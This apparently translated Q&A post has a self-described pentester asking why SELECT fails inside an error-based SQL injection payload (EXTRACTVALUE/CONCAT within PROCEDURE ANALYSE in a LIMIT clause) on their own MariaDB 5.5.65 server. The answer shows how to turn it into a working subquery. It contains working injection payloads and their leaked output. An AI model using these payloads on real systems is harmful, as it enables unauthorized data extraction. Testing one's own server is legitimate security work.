MariaDB 5.5.65 sql注入

MariaDB 5.5.65 sql注入,sql,mariadb,sql-injection,procedure,Sql,Mariadb,Sql Injection,Procedure,我是pentester,正在我的MariaDB 5.5.65服务器上测试limit子句中基于错误的sql注入。有一些麻烦 MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1); ERROR 1064 (42000): You have an error in yo

我是pentester,正在我的MariaDB 5.5.65服务器上测试limit子句中基于错误的sql注入。有一些麻烦

MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',0x7178627171)),1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,'123',0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,database(),0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'

我可以检索诸如database()和version()之类的信息,但不能使用select。这是MariaDB的特征吗?我是否可以绕过此选项,或者无法在MariaDB服务器中使用过程分析中的选择?

如果要使用选择在表达式中返回标量值,必须将其放在括号中,使其成为标量子查询:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171))
应该是:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,(select '123'),0x7178627171))

在本例中,这仍然会导致XPATH错误,但这与您提出的问题无关。

作为测试SQL注入的人员,您需要了解函数上下文和过程上下文之间的区别。。。您不能只将过程语句塞进只有表达式(包括函数调用)可用的地方。mysql根本没有
procedure
子句,因此您的问题不适用于mysql。@Shadow:是的,它在5.7中被弃用,在8.0中被删除。MariaDB 5.5已经过时,所以它仍然存在。